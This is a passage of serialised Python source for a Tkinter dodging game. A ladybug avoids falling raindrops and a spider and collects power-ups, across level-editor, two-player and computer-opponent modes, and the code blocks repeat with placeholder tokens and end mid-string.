powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\n<function token>\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\n<function token>\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep 